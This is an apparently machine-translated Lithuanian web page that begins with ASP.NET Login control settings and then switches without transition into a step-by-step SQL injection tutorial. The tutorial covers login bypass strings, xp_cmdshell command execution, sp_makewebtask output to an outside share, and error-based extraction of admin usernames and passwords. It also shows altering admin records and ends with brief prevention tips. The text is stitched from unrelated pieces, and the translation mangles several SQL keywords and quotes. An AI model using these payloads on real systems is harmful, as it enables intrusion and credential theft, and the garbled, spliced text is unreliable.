Pavyzdžiui, galite pasirinkti prisijungimo mygtuko tekstą arba net rodyti hipersaitą vietoj šio mygtuko (kaip nustatyta pagal numatytuosius nustatymus). Be to, prie prisijungimo valdiklio galite pridėti kelis hipersaitus, pvz., nuorodą į pagalbos puslapį arba registracijos puslapį. Abu puslapiai turėtų būti anoniminiai, nes pagalba taip pat turėtų būti teikiama anoniminiams vartotojams (atminkite, kad jei kas nors mato prisijungimo valdiklį, jis gali būti anoniminis vartotojas). Norėdami įtraukti papildomų nuorodų į prisijungimą, pakeiskite anksčiau pateiktą apibrėžimą taip:

...

Šis kodas rodo dvi papildomas nuorodas – į pagalbos puslapį ir į pradinės registracijos puslapį, taip pat prideda teksto trumpos instrukcijos po prisijungimo elemento antrašte:

Anksčiau aprašyti stiliai taip pat taikomi šioms savybėms. Žemiau esančioje lentelėje aprašomos svarbios prisijungimo valdiklio konfigūravimo savybės:

Svarbios savybės Norėdami sukonfigūruoti prisijungimo valdiklį Savybės aprašymas
Pranešimo tekstas
PavadinimasTekstas

Tekstas, rodomas valdiklio pavadinime

Instrukcijos tekstas

Ši nuosavybė jau buvo panaudota ankstesniame kodo fragmente. Yra tekstas, rodomas po valdiklio pavadinimu

FailureText

Tekstas, rodomas prisijungimo valdikliu, jei nepavyksta prisijungti

UserNameLabelText

Tekstas rodomas kaip etiketė prieš vartotojo vardo teksto lauką

PasswordLabelText

Tekstas rodomas kaip etiketė prieš vartotojo slaptažodžio teksto lauką

Vartotojo vardas

Pradinė reikšmė, skirta užpildyti vartotojo vardo teksto lauką

UsernameRequiredErrorMessage

Jei vartotojas neįveda vardo, rodomas klaidos pranešimas

PasswordRequiredErrorMessage

Jei vartotojas neįvedė slaptažodžio, rodomas klaidos pranešimas

Prisijungimo mygtukas
LoginButtonText

Tekstas rodomas prisijungimo mygtuke

LoginButtonType
LoginButtonImageUrl

Jei prisijungimo mygtukas pateikiamas kaip grafinis vaizdas, turite nurodyti URL, kuriame yra vaizdas

Prisijungimo puslapis
DestinationPageUrl

Jei bandymas prisijungti sėkmingas, prisijungimo valdiklis nukreipia vartotoją į šį puslapį. Pagal numatytuosius nustatymus ši nuosavybė tuščia. At tuščia vertė naudoja formų autentifikavimo sistemą, kad nukreiptų į pradinį prašomą puslapį arba numatytąjį URL, sukonfigūruotą web.config formų autentifikavimui

FailureAction

Apibrėžia veiksmą, kurį valdiklis atlieka po nepavykusio bandymo prisijungti. Dvi galiojančios parinktys yra Refresh ir RedirectToLoginPage. Dėl pirmosios vertės atnaujinamas tik dabartinis puslapis, o antroji – nukreipia į sukonfigūruotą prisijungimo puslapį. Antroji parinktis naudinga, jei prisijungimo valdiklis naudojamas kitur, o ne prisijungimo puslapyje

MatomaKai prisijungęs

Jei nustatyta kaip false, valdiklis automatiškai pasislepia, jei vartotojas jau yra prisijungęs. Jei nustatyta į „true“ (numatytasis), elementas „Prisijungti“ rodomas net tada, kai vartotojas yra prisijungęs

Žymos „Prisimink mane“ nustatymas
DisplayRememberMe

Leidžia rodyti arba slėpti žymimąjį laukelį Prisiminti mane kitą kartą. Pagal numatytuosius nustatymus ši ypatybė nustatyta į true

RememberMeSet

Nustato numatytąją žymės langelio Prisiminti mane kitą kartą reikšmę. Pagal numatytuosius nustatymus ši savybė nustatyta į false, t.y. žymimasis laukelis nepažymėtas

Registracijos puslapis
CreateUserUrl

Apibrėžia hipersaitą į svetainės puslapį, leidžiantį sukurti (užregistruoti) vartotoją. Taigi tai paprastai naudojama norint leisti vartotojui pasiekti pradinį registracijos puslapį. Paprastai tai parodys CreateUserWizard valdiklį

CreateUserText
CreateUserIconUrl

URL į grafiką, rodomą su hipersaito tekstu CreateUserUrl

Pagalbos puslapis
HelpPageUrl

URL, peradresuojantis vartotoją į pagalbos puslapį

HelpPageText
HelpPageIconUrl

Piktogramos, rodomos kartu su HelpPageUrl hipersaito tekstu, URL

Slaptažodžio atkūrimo puslapis
PasswordRecoveryUrl

URL, nukreipiantis vartotoją į slaptažodžio atkūrimo puslapį. Šis puslapis naudojamas, kai vartotojas pamiršo slaptažodį. Paprastai jame rodomas PasswordRecovery valdiklis

PasswordRecoveryText
PasswordRecoveryIconUrl

Piktogramos, rodomos kartu su hipersaito tekstu PasswordRecoveryUrl, URL

Šablonai ir prisijungimo valdiklis

Kaip matote, dėl visų šių savybių prisijungimo valdiklį galima lengvai pritaikyti. Tačiau, kaip greičiausiai pastebėjote, neįmanoma apibrėžti jokios išraiškos, kad patikrintumėte įvesties teisingumą. Žinoma, galima įdiegti serverio patvirtinimą per įvykių procedūras, kurias siūlo prisijungimo valdiklis. Jei norite pridėti kai kurių elementų prie sudėtinio prisijungimo valdiklio, to negalite padaryti naudodami aukščiau pateiktas ypatybes. Pavyzdžiui, ką daryti, jei jums reikia antrojo teksto lauko, kad būtų galima tvirtai autentifikuoti antrąjį slaptažodį arba priskirtą prieigos raktą, kaip tai daro kai kurios vyriausybinės svetainės?

Laimei, kaip ir kiti valdikliai, tokie kaip „GridView“, prisijungimo elementas palaiko šablonus. Šablonai leidžia tinkinti prisijungimo valdiklio turinį be jokių apribojimų. Prie jo galite pridėti naujų valdiklių. Taiko pasirinktinį šabloną prisijungimo valdikliui, naudodamas rankenėlę LayoutTemplate:

Prisijungti

Vartotojo vardas:
Slaptažodis:

Jei sėkmė bus jūsų pusėje, galėsite prisijungti be vartotojo vardo ar slaptažodžio.

3.1 Bet kodėl " arba 1=1--?

Pažvelkime į kitą pavyzdį, paaiškinantį konstrukcijos " arba 1=1-- naudingumą. Be registracijos apėjimo, galime pažvelgti ir į papildomą informaciją, kurios paprastai nėra. Apsvarstykite asp puslapį, kuris nukreipia į kitą puslapį su šį URL:

http://duck/index.asp?category=food

URL „kategorija“ yra kintamojo pavadinimas, o „maistas“ yra tam kintamajam priskirta reikšmė. Norėdami tai padaryti, asp puslapyje gali būti šis kodas:

v_cat = užklausa("kategorija")
sqlstr="SELECT * FROM product WHERE PCategory="" & v_cat & """
set rs=conn.execute(sqlstr)

Kaip matote, mūsų kintamasis bus sujungtas su v_cat, todėl SQL užklausa turėtų tapti:

PASIRINKTI * IŠ produkto WHERE PCategory="maistas"

Ši užklausa turi grąžinti rinkinį, kuriame yra viena ar daugiau eilučių, atitinkančių WHERE sąlygą, šiuo atveju „maistas“. Dabar pakeiskime URL taip:

http://duck/index.asp?category=food" arba 1=1--
SELECT * FROM product WHERE PCategory="food" arba 1=1--'

Ši užklausa pateiks visas produktų lentelės eilutes, neatsižvelgiant į tai, ar Pkategorija yra „maistas“, ar ne. Dvigubas brūkšnys „-“ nurodo MS SQL Server nepaisyti likusios užklausos dalies, einančios po vienos kabutės (“). Kartais dvigubą brūkšnį galite pakeisti aštriu „#“.

Tačiau, jei naudojate ne SQL serverį arba negalite ignoruoti likusios užklausos, pabandykite:

" arba "a"="a

Dabar SQL užklausa taps tokia:

SELECT * FROM product WHERE PCategory="food" arba "a"="a"

Ši užklausa pateiks tą patį rezultatą.

Atsižvelgiant į faktinę SQL užklausą, gali tekti išbandyti kai kurias iš šių galimybių:

"arba 1=1--
"arba 1=1--
arba 1=1--
" arba "a"="a
" arba "a"="a
") arba ("a"="a

4.0 Kaip galiu vykdyti komandas nuotoliniu būdu naudojant SQL injekciją?

Galimybė įvesti SQL komandą paprastai reiškia, kad SQL užklausas galime vykdyti savo nuožiūra. Numatytasis MS SQL Server diegimas veikia su sistemos teisėmis. Galime iškviesti integruotas procedūras, tokias kaip master..xp_cmdshell, kad nuotoliniu būdu vykdytume savavališkas komandas:

"; exec master..xp_cmdshell "ping 10.10.1.2" --

Pabandykite naudoti dvigubos kabutės("), jei (") neveikia.

Kabliataškis baigs dabartinę SQL užklausą ir leis paleisti naujas SQL komandas. Norėdami patikrinti, ar komanda buvo sėkminga, galite patikrinti 10.10.1.2 versijos ICMP paketus ir sužinoti, ar juose nėra paketų iš pažeidžiamo serverio:

http://site/?ID=31610

Jei negaunate jokios ping užklausos iš serverio ir gaunate klaidos pranešimą, nurodantį leidimo klaidą, gali būti, kad administratorius apribojo žiniatinklio vartotojo prieigą prie saugomų procedūrų.

5.0 Kaip gauti SQL užklausos rezultatus?

Norėdami parašyti užklausą HTML formatu, galite naudoti sp_makewebtask:

"; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"

Nurodytas IP turi turėti „share“ aplanką su prieiga visiems.

6.0 Kaip gauti duomenis iš duomenų bazės naudojant ODBC klaidų pranešimus?

Galime naudoti informaciją iš SQL serverio pateikto klaidos pranešimo, kad gautume bet kokius duomenis. Pavyzdžiui, apsvarstykite šį puslapį:

http://duck/index.asp?id=10

Dabar pabandysime sujungti sveikąjį skaičių „10“ su kita duomenų bazės eilute:

http://duck/index.asp?id=10 SĄJUNGOS PASIRINKITE 1 TOP 1 TABLE_NAME IŠ INFORMATION_SCHEMA.TABLES--

Sistemos lentelėje INFORMATION_SCHEMA.TABLES yra informacija iš visų serveryje esančių lentelių.

Akivaizdu, kad lauke TABLE_NAME yra kiekvienos duomenų bazės lentelės pavadinimas. Jis buvo pasirinktas, nes žinome, kad jis visada egzistuoja. Mūsų prašymas:

PASIRINKITE 1 TOP 1 TABLE_NAME IŠ INFORMATION_SCHEMA.TABLES--

Ši užklausa duos pirmąjį vardą duomenų bazėje. Kai sujungsime šią eilutės reikšmę į sveikąjį skaičių 10, MS SQL Server bandys konvertuoti nvarchar eilutę į sveikąjį skaičių. Bus rodoma klaida, kad ji negali konvertuoti nvarchar į int. Serveris parodys šią klaidą:


Sintaksės klaida konvertuojant nvarchar reikšmę "table1" to a column of data type int. !}
/index.asp, 5 eilutė

Klaidos pranešime yra informacijos apie reikšmę, kurios negalima konvertuoti į sveikąjį skaičių. Šiuo atveju gavome pirmosios lentelės pavadinimą – „table1“.

Už gavimą kitas vardas lenteles, galime naudoti šią užklausą:

http://duck/index.asp?id=10 SĄJUNGOS PASIRINKITE 1 TOP 1 TABLE_NAME IŠ INFORMATION_SCHEMA.TABLES, KURIOJE NĖRA LENTELĖS_NAME ("table1")--

Taip pat galime ieškoti duomenų naudodami LIKE klavišą:

http://duck/index.asp?id=10 SĄJUNGOS PASIRINKITE 1 TOP 1 LENTELĖS_NAME IŠ INFORMATION_SCHEMA.TABLES, KURIOJE TABLE_NAME PATIKSTA "%25login%25"--

„Microsoft OLE DB Provider for ODBC Drivers“ klaida „80040e07“ Sintaksės klaida konvertuojant nvarchar reikšmę „admin_login" to a column of data type int. /index.asp, line 5 !}

Atitinkama konstrukcija "%25login%25" SQL serveryje bus pakeista į %login%. Tokiu atveju gausime lentelės pavadinimą, atitinkantį „admin_login“ kriterijų.

6.1 Kaip galiu sužinoti visus lentelės stulpelių pavadinimus?

Galime naudoti lentelę INFORMATION_SCHEMA.COLUMNS, kad būtų rodomi visi lentelės stulpelių pavadinimai:

http://duck/index.asp?id=10 SĄJUNGOS PASIRINKITE 1 TOP 1 COLUMN_NAME IŠ INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login"-

„Microsoft OLE DB Provider for ODBC Drivers“ klaida „80040e07“
Sintaksės klaida konvertuojant nvarchar reikšmę "login_id" to a column of data type int. !}
/index.asp, 5 eilutė

Dabar, kai žinome pirmojo stulpelio pavadinimą, galime naudoti NOT IN () norėdami gauti kito stulpelio pavadinimą:

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME IŠ INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login" WHERE COLUMN_NAME NĖRA ("login_id")-

„Microsoft OLE DB Provider for ODBC Drivers“ klaida „80040e07“
Sintaksės klaida konvertuojant nvarchar reikšmę „login_name" to a column of data type int. !}
/index.asp, 5 eilutė

Tęsdami gausime likusius stulpelių pavadinimus t.y. „slaptažodis“, „detalės“, kol gausime šią klaidą.

http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME IŠ INFORMACIJOS_SCHEMA.COLUMNS WHERE TABLE_NAME="admin_login" WHERE COLUMN_NAME NĖRA ("login_id", "login_name", "password",details")--

„Microsoft OLE DB Provider for ODBC Drivers“ klaida „80040e14“
ORDER BY elementai turi būti rodomi pasirinkimų sąraše, jei sakinyje yra UNION operatorius.
/index.asp, 5 eilutė

6.2. Kaip mes gauname mums reikalingus duomenis?

Dabar, kai nustatėme keletą svarbių lentelių, galime naudoti tą patį metodą informacijai iš duomenų bazės gauti.

Iš lentelės „admin_login“ gaukime pirmąjį login_name:

http://duck/index.asp?id=10 UNION SELECT 1 TOP 1 prisijungimo vardas IŠ admin_login--

„Microsoft OLE DB Provider for ODBC Drivers“ klaida „80040e07“
Sintaksės klaida konvertuojant nvarchar reikšmę „neo" to a column of data type int. !}
/index.asp, 5 eilutė

Dabar žinome, kad yra administratorius, kurio prisijungimo vardas yra "neo". Galiausiai galime gauti slaptažodį „neo“:

http://duck/index.asp?id=10 SĄJUNGOS PASIRINKITE 1 TOP 1 slaptažodį IŠ admin_login kur login_name="neo"--

„Microsoft OLE DB Provider for ODBC Drivers“ klaida „80040e07“
Sintaksės klaida konvertuojant nvarchar reikšmę „m4trix" to a column of data type int. !}
/index.asp, 5 eilutė

Dabar mes galėsime prisijungti kaip "neo" su slaptažodžiu "m4trix".

6.3 Kaip gauti skaitinę eilutės reikšmę?

Aukščiau aprašytas metodas turi apribojimų. Negalėsime gauti klaidos pranešimo, jei bandysime konvertuoti tekstą, kurį sudaro skaičius (tik simboliai nuo 0...9). Dabar apibūdinsime slaptažodžio „31173“ gavimą iš vartotojo „trinity“:

http://duck/index.asp?id=10 SĄJUNGOS PASIRINKITE 1 TOP 1 slaptažodį IŠ admin_login kur login_name="trinity"--

Tikriausiai gausime klaidą „Puslapis nerastas“. Priežastis ta, kad slaptažodis „31173“ bus konvertuotas į skaičių, prieš SĄJUNGĄ su sveikuoju skaičiumi (mūsų atveju 10). Kadangi UNION išraiška yra teisinga, SQL serveris negeneruos klaidos pranešimo, todėl negalėsime gauti skaitmeninio įrašo.

Norėdami išspręsti šią problemą, pabaigoje galime pridėti skaičių eilutę su keliomis raidėmis, kad konversija neįvyktų. Pakeistas prašymas:

http://duck/index.asp?id=10 UNION SELECT 1 konvertuoti(int, slaptažodis%2b"%20morpheus") IŠ admin_login kur login_name="trinity"--

Mes tiesiog naudojame pliuso ženklą (+), kad pridėtume slaptažodį prie bet kurio teksto (ASSCII koduotė „+“ = 0x2b). Tada tikrojo slaptažodžio pabaigoje pridėsime „%20morpheus“. Taigi net jei slaptažodžio reikšmė yra „31173“, ji taps „31173 morpheus“. Rankiniu būdu iškviečiant funkciją convert(), bandant konvertuoti „31173 morpheus“ į sveikąjį skaičių, SQL serveris išmes ODBC klaidos pranešimą:

„Microsoft OLE DB Provider for ODBC Drivers“ klaida „80040e07“
Sintaksės klaida konvertuojant nvarchar reikšmę "31173 morpheus" to a column of data type int. !}
/index.asp, 5 eilutė

Dabar galėsime prisijungti kaip „trejybė“ su slaptažodžiu „31173“.

7.0 Kaip pakeisti/įterpti duomenis į duomenų bazę?

Kai turėsime visų lentelės stulpelių pavadinimus, galime atnaujinti (UPDATE) arba net įterpti (INSERT) naujas įėjimas prie stalo. Pavyzdžiui, galime pakeisti „neo“ slaptažodį:

http://duck/index.asp?id=10; UPDATE "admin_login" SET "password" = "newpas5" WHERE login_name="neo--

Norėdami Įterpti naują įrašą į duomenų bazę:

http://duck/index.asp?id=10; INSERT Į "admin_login" ("login_id", "login_name", "password", "details") VALUES (666,"neo2", "newpas5", "NA")--

Dabar mes galėsime prisijungti kaip "neo" su slaptažodžiu "newpas5".

8.0 Kaip išvengti SQL įpurškimo?

Filtras Specialūs simboliai visose eilutėse:

Bet kokie vartotojo įvesti duomenys
- URL parametrai
- Slapukas

Skaitines reikšmes konvertuokite į sveikuosius skaičius prieš perduodant jas į SQL užklausą. Arba naudokite ISNUMERIC, kad įsitikintumėte, jog tai yra sveikasis skaičius.

Paleiskite SQL serverį kaip neprivilegijuotą vartotoją.

Pašalinkite nenaudojamas saugomas procedūras: master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask

Nauja svetainėje

>

Populiariausias